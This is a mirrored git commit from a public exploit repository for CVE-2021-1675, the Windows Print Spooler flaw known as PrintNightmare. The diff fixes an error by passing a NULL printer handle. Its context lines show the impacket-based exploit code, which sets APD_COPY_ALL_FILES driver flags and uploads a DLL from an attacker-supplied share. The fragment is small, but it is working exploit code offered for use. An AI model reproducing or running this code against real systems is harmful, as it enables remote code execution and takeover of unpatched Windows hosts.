mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2024-12-22 10:46:32 +00:00
fixed ERROR_INVALID_PARAMETER
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
parent
60f0785e58
commit
261b685fbc
1 changed files with 3 additions and 1 deletions
|
@ -1,6 +1,7 @@
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
from impacket.dcerpc.v5 import rprn
|
from impacket.dcerpc.v5 import rprn
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
import argparse
|
import argparse
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
@ -45,7 +46,8 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
|
||||||
|
|
||||||
|
|
||||||
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
|
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
|
||||||
handle = "\\\\{0}\x00".format(address)
|
#handle = "\\\\{0}\x00".format(address)
|
||||||
|
handle = NULL
|
||||||
filename = share.split("\\")[-1]
|
filename = share.split("\\")[-1]
|
||||||
|
|
||||||
print("[*] Uploading {0}".format(share))
|
print("[*] Uploading {0}".format(share))
|
||||||
|
|
Loading…
Reference in a new issue